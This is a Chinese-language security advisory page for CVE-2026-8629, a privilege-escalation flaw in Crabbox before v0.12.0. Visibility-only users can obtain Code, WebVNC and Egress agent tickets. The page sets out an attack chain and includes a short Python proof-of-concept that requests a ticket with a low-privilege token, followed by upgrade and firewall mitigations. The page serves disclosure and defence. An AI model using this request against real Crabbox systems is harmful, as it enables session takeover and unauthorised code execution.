IPBUF安全漏洞报告
English
CVE-2026-8629 CVSS 8.1 高危

CVE-2026-8629 Crabbox权限提升漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-8629
漏洞类型
权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Crabbox

相关标签

权限提升Crabbox访问控制失效CVE-2026-8629

漏洞概述

Crabbox v0.12.0之前版本存在权限提升漏洞,允许仅具有共享可见性权限的用户获取敏感代理票据。由于系统在/v1/leases/:id/code/ticket等关键端点上缺乏严格的访问控制验证,低权限攻击者可发送POST请求绕过限制,非法获取Code、WebVNC及Egress代理的访问凭证。利用此漏洞,攻击者能够冒充受信任的租户端桥接,突破原始权限边界,获得对敏感功能和数据的未授权访问,严重威胁系统的机密性与完整性。

技术细节

该漏洞的核心机制在于Crabbox处理租赁资源票据请求时的访问控制逻辑缺陷。通常情况下,系统应区分“仅可见”用户与“完全控制”用户的权限,前者仅能查看资源状态,而后者才能操作Code、WebVNC或Egress代理。然而,在受影响版本中,当用户向`/v1/leases/:id/code/ticket`、`/v1/leases/:id/webvnc/ticket`或`/v1/leases/:id/egress/ticket`端点发送POST请求时,服务器仅验证了用户对租赁ID的基本可见性,而未进一步检查用户是否具备请求代理票据的高级权限。这使得攻击者能够利用低权限账户的有效会话,伪造请求获取高权限的Agent Ticket。一旦获得票据,攻击者即可连接到目标代理服务,执行代码、控制Web界面或通过Egress代理进行网络流量转发,从而完全接管受信任的桥接会话,实现权限纵向提升。

攻击链分析

STEP 1
侦察与认证
攻击者注册或获取一个仅具有“共享可见性”权限的Crabbox账户,并获取有效的API Token或会话ID。
STEP 2
识别目标资源
攻击者浏览系统中可见的租赁资源,确定想要攻击的目标Lease ID。
STEP 3
发送恶意请求
利用低权限Token,向/v1/leases/:id/code/ticket等端点发送POST请求,尝试获取敏感服务的访问票据。
STEP 4
权限提升
服务器因漏洞返回了高权限票据,攻击者使用该票据冒充受信任的Bridge Agent,执行代码或访问WebVNC。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-crabbox-instance" lease_id = "target_lease_id" attacker_token = "low_privilege_user_token" # User with visibility-only access # Vulnerable endpoint for Code Agent ticket # The application fails to enforce privilege checks here exploit_url = f"{target_url}/v1/leases/{lease_id}/code/ticket" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } try: print(f"[*] Attempting to exploit CVE-2026-8629 against lease {lease_id}...") response = requests.post(exploit_url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Agent ticket obtained:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Crabbox < v0.12.0

防御指南

临时缓解措施
建议立即将Crabbox升级到v0.12.0或更高版本,该版本已修复访问控制缺陷。若暂时无法升级,应在网络层面通过WAF或防火墙规则,拦截发送至/v1/leases/*/*/ticket路径的非管理员IP请求,并严格审计现有用户的权限分配。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表